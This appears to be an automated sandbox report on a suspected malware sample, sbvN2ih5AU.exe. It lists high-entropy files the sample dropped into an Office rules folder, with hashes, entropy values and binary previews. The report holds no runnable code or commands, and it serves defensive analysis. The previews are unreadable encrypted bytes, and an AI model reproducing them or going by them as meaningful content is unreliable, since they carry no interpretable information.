Preview:	<?xmlb.^...>.}..q....i.....2.......Z.'..^.B.y...6=....q.[.i..l.J,/U.. O.#n...=...U@.......J.....<...3~..U .........\|2...xW......,}.w".h.`..&..J......n\,...qu4..e....l.....S....0Of}=.k-.....G...d..nc^.I..]..w8...a....k.0Do...'./$.kT.(y?U..>.......oA.r+.O..4.\.Nn?....LV.K....M./.....dn.\...-i....!.9Ip..?..2.]..2..0..?....<5.,:._-v...#kn......e.>T...t......./E..%..2DR._..@..............d..._.n`.P.......XP.<.....Ld.g.C.!b...P...^t^.L.z~.b...Z..a.;:hn.../ay....\n..\|G.X}...S..Kazx..).>f..'....M....[.kv@E....p.G..k.$........S...6.....'{U@..3...y.yw0~..X.;..}..A...Ua$0-.s.)...2..N..........N..[..s....(....L...........R.......jX;...a"/..z...XJ..T.."Sn...F...^C{......o\e....l....^.w=..H#..p.Jj.U..:Z..4..'q5......A.a=75.....I9b.m.["......%o-.4.r.. .......(.D@.n.......I;O0j..$._..m....FtH..\|w\|..}.{....r.J..x.dxM".et.........\|4v.Z#<...e...^7Ub.}.#.A.d_.e.........pv...%mN..............5`...$WM\q1...}`t......E.C&.GT....\|.....Vn.U._n...(...J/

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.889782172267015
Encrypted:	false
SSDEEP:	48:9YAlKTcU+uW5KcSCSrQBRow/mOtP1jXh0asvo3oHIhD:9bucz3Fow/mOtP1jXpzJ
MD5:	22174B08052B875446F107633B0E5F22
SHA1:	78BDAA28F1537B63B0D50621730CFCD8203BDD8A
SHA-256:	0CC87A27F350E9C7F44015533F137D4A4B465F54592FF68759625760E8A0ACFB
SHA-512:	BFE5FCCCBD08A2C623B84B9CE8FEF6F045A2E1C42E1361E4967BA3201202A06AAD6300B6A7C6E734697747927EDCE19C60D62BD841B97A2A91FF59A2D15D3FF9
Malicious:	false
Preview:	<?xml.\|#El...V.u;.%;>Q'G).'T.` .4X...L<\..".r.b.,E.{o.A....>..6.....k.W.\!.k7.....B....D~.(l,v9......G......Ov..n+#"...... .#..R.@..DUi....t....).....'A.B<..tM.5...._X..~.....P..kCL.......G..Zo.r...>L.#...#p#....7.p...VM}.....Z.....Rc.g.j......\8M.v=Sk...6...Uu0N)2..<..=.T~c..?..V...y ..L[k..wy..bN.F.3.......XsFM@..]D.[T..gE).U.~..t. 7..l...q.r....N.j.9.<E.f'..$._.uNF..pB...<s...,!0....0?!........'y..T.9_].{.w)....M.. .J4:......f..bXxA...u.hS.=...aB...f.F....>@...1...F..zQ.8q.s.1.%\XO....:.D+7.....(3...W...9..._E....3K5~...G....>..M.8..QR..Vw.... ..(!.....e..lK.\|g.^...P..ySh.4m.?.\.\=n........rM..}....\T....H...........(.....h....#h...X...s$.....}.v4%.......8.I..D..78.su.f..)B....\|.....h.zC{.?.q...(L...@..#8.......A9......tCWLIQz.e....)HL......O.r,dM"Q.Q..W....n...uL.X..=4aRUw.b..OoW5V.%.Td....\7W.....,..^.....:...jt.Q.=...>.4H..#.\|.......;o.2.`I..Q.......`. .$...c=..R.Cy.KZG../.Re.r=..."t\|..nU..w./.....=..p.r....U.+*..SOV..../.(<.Tg..x.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.877727148227625
Encrypted:	false
SSDEEP:	48:X/KO2Ljr3CRkt9JQZRYWcCrhXo2zj4vRElD:kf3qYkLz9hXo2Td
MD5:	F19CF98CB535199E61E5240DCE09DB44
SHA1:	78A6887C3B66B84C12675E1BE55CADF7D5D6611C
SHA-256:	4DFA158FEC5D1595210DF34B7015ED4DAF1819AF514478A7974EA37327EEAE1F
SHA-512:	3A195173B4E0E1EE90C99D0AF3F14BFB1AEC4B3542E7A7B35D1FE48173A3C42DBAF0D3FA4E6ED0569B7A4D9D703B796F7D61D5AB49BCD806BA7357305645574F
Malicious:	false
Preview:	<?xml{Q...A.....[.D.[......A...2F..>w...-...}J.d..m...W.q.^.lo..A..Q....x..Z...)....m..........t.H/.t.....C...a........XS.'....t.ie^.....o...N....\| .K..l"./K....Vb.^..G..w5......<.U.,1_....D.O..bTU\.hzB...j.Ln.h8$A..$.8^H......\..H.[.2.\.3..^..^=.......g..\|..l.?..{..a..m.9..(...$.~o....,kk}..IP.s...u..z.u..0..\...t.Q5.....~a.;...p.{..j.970d...x....8.E...D.!...\Zu..gC..{.jqP...(H.}-..&.DG....J"v.7A.h....CE.5..n..QJ..U/%f{.7...c..h....?/....P}.c.%y<.\|.........N.n........nfzFfY...3..M............/E. ..H..?.eh.....@V...vnb'.B=U...AX4.@..P..;..8IP..~... .&........C2.5.=.p.......{..wz..p~...h...1...~2..O.H{.=..~.mW.....)...(.....\|..&G7.d/.b[....}s7....(%D;....w....{...^)....v..t#o...;1....rl..oX.\.gY.]..=tF....R.-.oM,.d.BM-........W........`....+J..ZR<.s.%.Y..)..1?.,..z.....xn{6{.....:R........5....Q...9b..`./..c....Z..g.u.......CB....%K... .._!..".....bU...X...B\|.~..^....7.SQM8. ...x>Y..N+...@.."s..]...........1.b.... ......+.A.}.s..xYA'08\|..Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.890513144776267
Encrypted:	false
SSDEEP:	48:9XNV7QkEWuTnAKXLNQl1JE5kbFIO7somhSaB+knhD:9druzfeac5soWSTkJ
MD5:	31FBA615115CD42A8BC5782A51F9E180
SHA1:	3D262C7025CEF8281A446526ED34FD47516CFFAE
SHA-256:	655ABDE45E3E6CDF3BBA3E5FD8B19EA2BC0985F368BD0EF7D4BDFBB320099781
SHA-512:	4A09D4CACE83E41EF35CDAC46D9FA954974B4FB6A83DC6B3A41CBD8EDCAA59BCC4CA16C60CB8652B7B7D6C192F8F5C0E8B432AD9217BC64154471966F82030EA
Malicious:	false
Preview:	<?xml...;...].:c..e.w,....c.....6s\|...U..k.}.oZ..H~gc7.X..r....X.m4...6"..... .t.]NK\C....mO...2.=.).l.....6:E.>..POR.o.Ys..orUJ.`.\|.....;.......z.#s.j......L..1....MQ..@.". ..dS..c....6.L.............W.+@j.I..4.sp.W..>O..F.<..3.TW.B<.r*.E.....%.........`....5.A.8<...(7.ic..n.P.t..[..9../.+;m.,..v).C^....Z+w).....f9...u&.".:YA.y)......r4,h..<..]..A_.....8.PF.. ..i.%......bi6.c`.................:D..X}.R{=...'=....s..G.n.A.......'.4v.x.W....W.P~.q,.2..........x.(..Wc...........`.G.nH...9 ..............I..r...g..jV..6L}v.a.'!.Ea.B...5.).0[V5>...#G....Jy........%..>Q.#K.v......=S......K{...).;..=.8v..p..77..=...##D.Z:V.uAOS0..d.B..i..L.d.D..v.......l+..`.......t.Q..\|(]..._.&msk.f.hm.B.......+.a..b,...s....d...xW.A...}..S.D{..v.=../)...-b.....Wx.U...^:.\B.%..F...Xkm~V..xt.....z.N....>..:...nA.n..-.!..GK......."9..j$O..G}...4&4......w.?B..rG.....Dm...._.'P.........Y.....p.. i<.<.-!2...7..GPU....q.'.....v..A...2..........O..ka?D..E.>r..N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.882489657342409
Encrypted:	false
SSDEEP:	48:TICGAoyJlim4iWDGitBqBngrvVI9HgEk0D:cWoyJH4iWvPqurdIQg
MD5:	428293E4EC8A73E8A942653C3416B179
SHA1:	7EA7A2838C7D3CC009412FB834AC1BDD80013156
SHA-256:	FEC8F3B2E5EE2C4B8089D7AC3A74DC370A9FFDB17CC34525E5A45542157D45A8
SHA-512:	C179D1A7741E1F5653115637668694594297D85E56671B29B2BAB18941CC98B368D0B6B60E104BA24D5543A913050224CC71369950E836F40EAA1E236F5C2292
Malicious:	false
Preview:	<?xml...r.e.yhE&..U..F..v.....y.N...z.2.`.s...'!.<..y.~%y)/.n.7h.i.p.J~[.?..0...".5....\|.......c.....d....e...:.k.0J.}O..n. ..A4....9..p...q.....X.$.(d..Mv.N..(a.g.....>c.?A......DMqI.L.....n..5....94..I..9..-i7.....J[)_.....Z..#G.>......._e..?u.\|.\|\..XV....5MxK5%..Q..;.......NP....U..z.Ca..N..Y..S.Q..#.....&.X..R.\v. ......lb..=.,..D...#....9.Lt.vg.39.4E...........c.\|%.0...E.T.w.8..-.Ye.5uiy...1.n1.........x...t>......4F...`..ZL.WJ.w...u.(.].B...S...b.\.:.......A.,...'..%.=....7.. ~.?.>......N..m_@.]O.....n...q.r...R...H. ....;`45..~@......l.k;49..n.. Ry.....U......\|1?W.'b~L...........u.WH.m....t.;...SW.........C.@.....C....2.]...?m...#..kX....d..<........6...\.K....n.....k.o.N....\....l..Au0&4....5..:..h7+..&....J........R..NJJ..j..'e.:.45.S@....p1..l.....!...C$...3.-.qV..f..+..*G..../..y.'..W;J..2.T.U..2]!Zv.T............M{.`.t.bi.\|..j.....hd..S.......o$O.v......$\..BNQ.#......=.....[W..<..~...7.<.:+f}..x..n..4........BeO..g/.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.891641516601084
Encrypted:	false
SSDEEP:	48:0KbR8Qrzj2HUqb0z/50M7PmBxsH9iirZID:9Nfqez/B7PmqzU
MD5:	BAE75C00F4B6E858F2186C9CBF170AF0
SHA1:	99BD7F19B11A67BE99E5882F6B36AD4F5DC69154
SHA-256:	3AE6AD0DD3BF0FD283AFCD72045F88D85410B8284E23E9F1DFE1C0799C586B04
SHA-512:	4DBB3F2E394C3D8A04333FC70CC6E5F8E583A80D52160B13BA5438174DDADD465F1D23A089EBA7C2F9097CF18318CBFCC45E098356C4BEE57E23CA55DA6929F2
Malicious:	false
Preview:	<?xml`...T..,...?I...5`.1.p..X.....@....>...VFW..v..P...]Z.[.{_.yx..P......$.(.+...{.J.h..b.f.9.=. V..L_..b..gR...N.[9.j.\.HU.G.`fp`....l.fP'F..p.#.......(_.^.c.."...$......b.D[\..T......\|.NU..</...tp.a...@............X.v..~.!..a.FD X\|._.j3T...@Uu..j.e...6}...Gc..R..}..%\[... x.\f.R...._..R..C...^.]Di.Q&.q(<^.........@..=.F#......i..#..s@.....F<[MVldn\|!.r5.....>YO.d.. .t.X..l..>.5..Z...XBPo..7y..N......A.yt.'.@.[.~....?.7.X...&\|V"]8......$.t.Z.......<....TH.$..f.\.1-.....}..1.6\|9.J^...i.....-1.}.s.M..L.....a..w\|&.1..(...sl.X.....1N+C"~......?...*...(z.$....tt.......cD\|.v...fFz..\T..}....1..b#..L.+..f..$Y'.e....G.M..(...t..o..#..I....svu.bR..R..k.....8.S.YuM..?/z.O.-i8...$.......W....Z..... ........i..`.0.N......j.QA..,.u...ub{...C<.R...v...g4..\|. ;<.......=.g;....K..y.iX..bu..SGh...1..h...i.,.K\.~.L&.?.K..=..}Y..e$.U...m...,!.UFz..`}....:h...?.S..r...2u.[.....M....7.{.:.m..!vs...H.7.AC..c...v.T.e.H].y...)......`...JV..;..-T.ce..C.c..~S5s..e...L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.893775053344808
Encrypted:	false
SSDEEP:	48:qR10yR3Fko69GEAO/u2E7DprHejJ/C089zLD:qHN1gGEAO/fMDReVy9z
MD5:	70705BA99FF94BE49684238A9896C295
SHA1:	D9271016F694923C8A57C181BF4628D27093C70C
SHA-256:	714082B5B82A6D9B739A66B4A28CAB20875FB6D08E38392ED036C91CD021ECD4
SHA-512:	ACC383CAB923B074C610406F6A8BFEFA96B896989573408BF0F2959F7391E1BC1CB6F6F8895F527061B4E8A5FC901082633D37593E5A10FFF9BC00638F4623D6
Malicious:	false
Preview:	<?xml.Y,....z.o..,...bg;.)..........2.$.....$...~.....h.`.9..W../G%...;Y....,.\|A&L..T.........\|4........A;.L.s.L....{......`q....... .."...=......4..4.....}.......CyY.V...-ZMt&K.d.w...x42....;Gv.?\....E.$....Z...%....v..(!.E..qpn......0`kv...N.J>....]w;.E.g..b......".."...`R.......g....#.uQ:.TN....K"........eBQ.h.]........d...UK..H.5:I.9.......F.G..Ruu..jN....K....a]QV<.G.....#....6....'..4.XJ..C.......po...,......&........u..@.>.o..h.kT..J....e.56f..b5f...?\.t...m.....7.@._@^....lh........bTb...==.(.n.h ...+J...c...k..?.P...&.q..sM..........k..;@...\|...#g....v.+.F..>.P...c.9...'.z.j.....>...g..8J.M..4..dIo...\|......TE.....J..h.........~..w.......~..4....ASK..d.l?..1.3p.......-{...n....&V8..c......V.K.E.oh...k..@..E....[..-..&._,Re]5D..!.Tq......K3ut.h..r........n.D2U.<........3..b7.U}..'..n....5v..n...QR..n&.txq..`..S.....^...tu7.Xv..Up.y..e...JJ...Q.#...Rs.D..%;...#)..&.];...&#.z.....?.@sT..p...I..A.`..l..$.9..o..k~..T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.88455598405159
Encrypted:	false
SSDEEP:	48:o6X5k8j0xZ+VOmiFfEb8uGTVi2Nl4T7sD:d5k8gPIBG5vNKI
MD5:	44B941A8750A3C935803F347B5C4885E
SHA1:	82B8442E5360AFA820E8692B484766C7B6B8820A
SHA-256:	F76491F7942A1B5787D8815FF0520B0903DF2DD379E2B1E1591899D3ADBA1433
SHA-512:	B91D9230A0C954717CAED58ED21772ADEFC44A367AB0FE7CFB78FCEC58BF301DABA92957EEE8E37788919D37E383D4A2DDEAAF02414368A9F238BEA1962FAF31
Malicious:	false
Preview:	<?xml...dh.6qB.g!Va.....:.3.D.0T.m.s.0..\|D3.A..x..=.......,.....&?3.C..T[.D.Om..y..r.M.....42.Y.{:D.wFicRd.z...w..."....\|A-.........L'...T8>T.CP.Ij.7..V..{....n5..T;4"(.Z.....G.t.?2BD..w.\|r.A~...`,..q'.$@......Q7.....9...a..Ru.S.RJU&7.@ni....Y..@..h.!.NN./.r..Q.L.K.$b...=..ZKo...6d.~..j...e\AxH7F.iq#.zM/. ...e.+WH..=....4.>......a.4..z&G{,.ZN:..C8X....J8..P..B+.ck......J.{...ENA...P..y..M..-....\|^Q....Q......./_3.[.}_f.....I%..B...D/.[^U.e'Ww..c.T...r....6....s.....d.\|q..........K..Z8..S ...}4^>..}.\|...8.[..,"r..d6....;.i..S..k...U.$....Z.VQ'[.\...g.....C..57.%..1...G.x.t...E..d.J.....\........~k}.V.....y....8".C..5U...P..3.9.....X..PS..%......VO...HOh..Ga...Z.xH.C.5 {....c{N.w8..I.@.v..........9...7..U../.;...Z...-{.&. ...{.$]=(_c....1.......v...d.^....M.r....f...)R..,..d8.6C{.v.......!c...pg/D.....0X&Ze........uI..m................oW.......&L.x...t..J#...\....p=I{z..u!. zH.?..`..j.G.o..#..^@.o{..J........)U.).fV?@...F).lr;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.883401178337156
Encrypted:	false
SSDEEP:	48:TOguVH7P89F5WkLka9utoWT+mnfhDS3dCtqvfQOD:TOgcHd2kaAtZlctCIv42
MD5:	0E5B99085EF121C2119A4C8910D7C334
SHA1:	09F48371272C44D5BADB3D93D21DAB96DF360EB8
SHA-256:	417E5CAD2F129560AF014BABA4F4ECEB3A56F5BCBDA81CC5AD9E0759B2B50A39
SHA-512:	BD8F99188A13C9684F86CE929384A6A91C4970156588F377CD7B2671B5C82D87424BDEFCA1BCAD50401DA038C5B790981FABFEB587F8ADFAD675B0BD339DB9D7
Malicious:	false
Preview:	<?xml.j(.{.jE...1..P..P.6VyP=.5..b...YM.1..........8....3.h.l#d."...#..j.Y.U..D%..q..#c.H9.i.6j...w7..[.....s\y.....I<........Ls_7.......GG..Ovxu..'...-..)+..hm$...$M."B.t.^......o..`.....8.>2....C:i.....<..t..............4..Y....*4[.i.e.....a.D..e...S/.....3..8..8.?..Q...nB'..%#.g,`N.$0J.c....a..`c...../G.I.K9...s...e.......vv.>s..A..=4..P....X)wS...4..._.f{d.eXD.Nc..........x......R..3...N..P....q.>.a.mE...6..0~/.....l=N..?.P....e..0.<.A..... h.2.m.sB.....+....X.0..tM.0.....C.>x.....`..E.Q\P..?x....=.Q.z...r.u.....$..h#i..w.G.7...kjrfT.]$VZ......M.@d....-w#.;......v.hZ.<.OaV.I..$....K..d.u..8\@J^&?H.......z.......G`.)......t..j.....j..6....7....YE.(..O....k......f.$........Er.xF....8....2-<.t#c<..j.\|.....7.n.\|.ks....\|..F.x.30?.....U.....!..xw.]s......[[.E._.@r...."....Ow..^i..2..L...".l..........c....8g.........W..zY..F.=.U.G....."..........Z......W.9..emT..Y.nt... .J.:_....?.5..F...e..lG.Ur.F..opD7..YZ.........B[.x$....h..F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.874935976403522
Encrypted:	false
SSDEEP:	48:X0otHsN03VvDRajV/A47WfuNTiEm8gATZpvJlgJdkoz2D:XF5sClvQjVY47WfiRNgAVpTb
MD5:	4F86E7AC1184327DE8660F28B9087D06
SHA1:	DC643B273E7693B5EAB64DF68393007CDDA3F642
SHA-256:	1C8DBD834CE34DAB5095E285D0900703295DB82BB869CF01384EC0EBF14E6901
SHA-512:	BB896E99767310A951E9F98803711DE2E9A2CE57956707A249866991DA63360E45E6FAD07DCA0839DA626494B0704C2C09C287A829C1773A7914AE0273E10CC6
Malicious:	false
Preview:	<?xml.jw.`r./..p..lb..\.m.FG..`....[F..&......#..M...n.@...`"A.........o/..nu.J)6U.8....Y..$5.C.>..Q.....a.^Z.z.K..M)H....l.L..<5....g09.dE].S0{.....XR."W...m..<n...v...AE.8P}....O.bI.h......o.'...Lp.'.+S....?....R.H....v.KM..;.#....tr_D8p...RaZ..Iw.K...........mF8r..@h...>...1..w...wJ.`Z.gFjK.O...@..).{WT.....F...s..c ..iy?.U7o.3.t.rG......'#Q;v...+..;....H.E..$.m.0..f9...{..a..+7l..7.3...3H.nB....\.....~..H[.6t.p[[.........iS......y.#...6..(...AC....o....1.3_}Q..).b+./mt....Yt.4@..t.j.....fe..........'..^#.~.b(h0.....mi.~...3@.....\].x1.....f....\|Y.f.df{.....p./L.dN......2.!0..B..h....1cYf/RU..V..q........V.DO\|8...v......y.......w.!.^..S..[\|...2.;D..VK[.....M...'3..f[.....<L..4...Mc..w...~...iI.0T.6..b."....%.....{....@....?}..=..MpC..m.j....p..l}x.....m0.8,....!..&.Xk2.e.5..*.w.\......a..R...$.F..4._.T..$ Rx..9......_..@..'......l.Hz7......xN...H/.T8P5o.;t...$~.-y4 Sw%...Y........V..8.L_..ev..nC^._....S.x..b:J..B?.).3../$\h..l}...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.88675255596688
Encrypted:	false
SSDEEP:	48:xeQksIIhTFaWSeSFLMpQ0U3sOU3O/vo0wNjD:xqs5IWSeSFLMp913wvo3v
MD5:	70EBA1980997FE94CBA197413116C796
SHA1:	C895B2A7E2AF5741D93D7E130DFD5F507BAA165A
SHA-256:	5256208E14C8646C4A2959EDD82B878828A2AA07BA4AF73B875210927B2AFD80
SHA-512:	AD2D227AF7506B618ED30148FB631BD5E1D5DA1E76FFAE0FAC737D00915CDA74434D936362A2F6926FE58C2C9B5674BF25E2A13BC8087A14AFA54B54B3CDAE9B
Malicious:	false
Preview:	<?xml.[.K..s....#."..x1...8..9...ttC.V.T.vn..x.9....C.!.[.UK.M....'...._.G..`...[....B%B..}..U../T.a..`.4.....Z.....h....VT.R.R@t.p!r....:.^.\.).P....oOM.`.U.X....L..U)C4...Q.J....b.t..U.L.Q...a.p.....7.4....8..XdGH.yh..t..r8.I.U}.......s..x,.n.E5BW9.h%....My#T9.e'........G..x.....Q..jV!.p.....@LU.{.B.{..p...OV.Ul.4w.n8b.$...,..:...03&.........)=.4.).i....E..++.C..9C@.v....'.I.E..:.P....u.;..........h.^;.C.....%..@R..Ce&..".)?.+>..g...F...^.C...m..\...;~~..CD....$.;.... W.zqeG...D....N.O...a...D......R.=.n.,;..4.n.!B[\..im..x&.c.%..-..,L..).8.........$1M`..EVD.,..H.......9...E..$...+(.....R.UN%.t..#...d.z..W....;..b.N....Y....0......F.....U.fScM..I6u<..(...L....9.../.GJt\......1r6....-.....k..]>...Z.vS.....DB.M.P`'....).0.:..`D.Bt...8.V".mT...W...,..vxl..K..j......7O.!..(.... <.g...?Yz.;#...B.*.s.v6.g!.0F!.......\|.$.<.[..).+..YI..8.BB.%.q/...3..d.\]e.....a......F..{F...>..k)..-..sk{.....Yf.X...U....!...m..H..,...E[..X(..:.Q..</..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.872638458043887
Encrypted:	false
SSDEEP:	24:sE8Z6GYqbaA7lm0g3FTkwGtbuCDW5C7QOrpbK1x5IJjg7sEqaZysGNihLprHAWAa:be6JAUR1KHD5lWqQL0sGIhLpYY8VzAD
MD5:	C10146BA48CBA966E089722ED4FCFA78
SHA1:	C738062B792556CC66BF181978DE441252BA8C04
SHA-256:	78C756079FC7FF000559FD7E415A5CBA281C7B4A32813C058F9B8BDD9DBB9FE5
SHA-512:	0220C8D37C9207B2A58BB410D6D647182D25D732979A74F1BC77AA848D752C420CA7CB047894B8BD26625D646F0004AE446E01C4AF93FC42FEBB3C19FFE2F0AB
Malicious:	false
Preview:	<?xml..;......I...t;"...i\.....(.@.Q..a....[...!..N....R...V.#\|q. ..6t..0W.>..Y\|..\|......R7C../.x.:.b.....C.~.DC5X>.E....~.X..=.yp..G`:r0.\..n.2A.8.N.(...`.^.ojR'Q.{i.x>."yt.2.. ...!..!.............JYt...%.P..s,k7.SY..3U'1...%..G...?....."..z..u..w'.m......R!.\|c.$...!..).....;-.Tk..........d.n.......l..\u.R$T....T....!TMPu.Mji#C2.Ei....6......V.0c..r$.D 2PF..w..#'....[jN..8....8.p......T..D....&W.CO...#.s.!.S+.(/}fp.~...........$.......H.g...@....".P.D..u.{.N.j..ON&...;Z.K....Pj..d{..X.#.E....$.px.......a$..Q@...;..8..p$%........u..>../$.s.....:..........^.......oJ.....&..V.v..m..............AH..._...T.........pF....4I.O#...<..#3...g..W..F...4./i5.....n..7^...~...ME<.[6...%m..Z..i... .{1Nf......u..$u.Z....E.....;..\....^..;..+MNM..1.g.:'...~.bU..>i..]j{.7.z...c.6.3F...+.U.)o.48...3y...v...v..0.'?.m;7..p@.....K.I.....k.V...@.J...`...]....m..X..-..l.jX.......[.n..U.%6D.d..<..b(=...?...4'.O.r..\|..JV..U.<!../h....>.C.2.}Y_)..!..[.k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.862945571314311
Encrypted:	false
SSDEEP:	24:sB5tpGTZUN4AWRypeFTLWadwIXoFtW2jcmlkKS97fUkkPLdSDua8412/Bmv92bD:sTtIN8pyXYQwnkkPkDua71oBmvWD
MD5:	87F522238DCFBF99785A0D58A19F06F3
SHA1:	C5C29B994BA9AF17F1F0F66235C3FC32CDBD8180
SHA-256:	B7A21297FA226ECDCE167798B157E0910C3E4CA8F759C0753BD92BB43B5700D5
SHA-512:	39432B7BD441194C9FFCF18278ACCCCC2E5321D8E0999196D67387BCB96B71BE7CA969638AED7C4839FC8E59D8BFACCFBA11175F49AA6FD4797205304EDB08FD
Malicious:	false
Preview:	<?xml.8\.6g]U.~c..G.."!i....^..u......'w.;..M.+w....J.:.-..."i.LZ9+...6...(......x..3.J..y.......X...BTROY:.....W0m!..F.B..i.'O...j8[s7..y.Am&.YP....~'P."..Z.t.+b.'^C>.>.....\|=QI=...V..\|}..#.$..>a..r2..\|.@Xx~.9e...6.Z+..t......m.)...UP..V..(....,<B.....}...GQCA.W.1Av..0\|.....M...*uY.X......j..>QU.2t.2.G(.1y..KO`.2.237..1.........4..c..7. ..k~...8h.-..h.W..G.Z...SI<....g.(......j....Va.....>..0w.....v...Z..c...$.9X....).B`..S.X.~...8S...N7....Z.y8.fk..r.....!D7.f.'.Yb~...]..$C...&.(.q.......C.3<....gh.>.1...n....P..9......Y5`........O(..W..2EI...M....9q.....b..w_4...M....[_......phz.+.1.`...N....#r.kL.}z..Q..^hs.....;%k0.O..%.c.3..<o.c7>U...'....`7.......b.~.o.'....r~.@.LZFf.r.........).K......D......)..i#rg.U-..#....E.....A..}...J.q?._'.....36w.9..:.1... ..hU..3..h0.6.J0j%..E..:.sqm.6..........<.@.(6Zr..M[.N3..`....Hb..[Win[....0.8.....'1..yV!>.8.....Z..(..y..d...Z~.r5.m...j.=............>+.i..7...&......._...7W..q.\.O.&.(....,.....+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.885168960702731
Encrypted:	false
SSDEEP:	48:Ee01DshJkDDN1Mfe/2e9MjmSW/fDRH/AvN47vVeQDisD:ER1Ds7JfNe9wZmDRH/Al4/iI
MD5:	B734FAB8E96172C7D7C7994B5F0401EF
SHA1:	52FF3EA6D90DAF52EF4312F33E84A029B09B0796
SHA-256:	8F0AF3F87D7166628D5E6152AA8C38BEC3B66B6E740CEF3685F5DFDEBF5A6712
SHA-512:	966B9907BEBB4D1EECC361CBFECF24C4EE78ED0FD1D32B15093280B5925CE221A2FF2B1A5906C8AB8C79EC4479714D973C53E5FED2E1A3636160C2C8156EF57C
Malicious:	false
Preview:	<?xml.z.9..M..;..z.......P.....a......C.hXb...>N.u......W.o.iM.s.p4.<=.n._...#...8^:.. ..H.(./G.+RUi..Z.q.^...j;......P.M~0X..Q....z.(.B..@\1p3..</.82..<g..o.M^./...6;!r....U=...G"........D.%x.B...W...L.>dj..K.J.o=]PFA.#..oc.4..`.HFW.L......N...].yL...cY.]U-.,.m...A..\|.......=%.7/x.i.n:H..l.f0.R....^.Ji.HA.......~.....Y.......\|R....V..A..+...+.....xV..Q..z-_.>.k...fk8%......n...Q....t......y.Z..;....5.\P.rm[....A;..?.7E..[.X.T@V.........it..R.?.L.2....H..jqz...R-.9>.Xc.{Z.B/..O.D/.1..G..........M..](t..>./V..N._....y..U.Gh......c4.M\|..B.T....W.x..pP&.....u.......1_:!...9.M.J....O..0.!...-f...O....7".y[.b.<DrQ.~..C.....J...$.P...l.+.../..D.2U..g`..vd....x...k7..f:...\|.~..@'...g.@V...v."jG.5....0.z.z..j..z.!~...q...2..Flei..q#y.c......O.-D.`.}X...\..[C..n&.2..0..i..2Z.V..d\.YE..S't)...3&....H..=....#.6&..C....G.z......(p..l...r..X...w.II.O.9=S....)=)L...L.(.?..j.\|..@....'?...<V.H.c..O1.....Mg..YzSE.*pn....Q.9.Q....,paTX

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.88854204053278
Encrypted:	false
SSDEEP:	48:hmmzSI36YIwxRasvPXa2H0AO2YCknUx4mX9/ZzD:1GYIwHasXq2HgS8pmN/Zf
MD5:	0200ABE9126F4488429C369E4DFCEC63
SHA1:	A01BBF85379DB2DB86A84988B249EE7AAA81EDE3
SHA-256:	14F263028139F6ACD3CEF77AD344790717ADD0500F35EB76B8C37AF2DA981217
SHA-512:	F631878B563CFB056ACD68F0157983D3EBE8B045529DB0BD2910F5E074C4BC0FCAB988B646065A5B0EE3B8F0C3564F0A2AEFBBD5B1DB20BFDABDCAE8F4F888FD
Malicious:	false
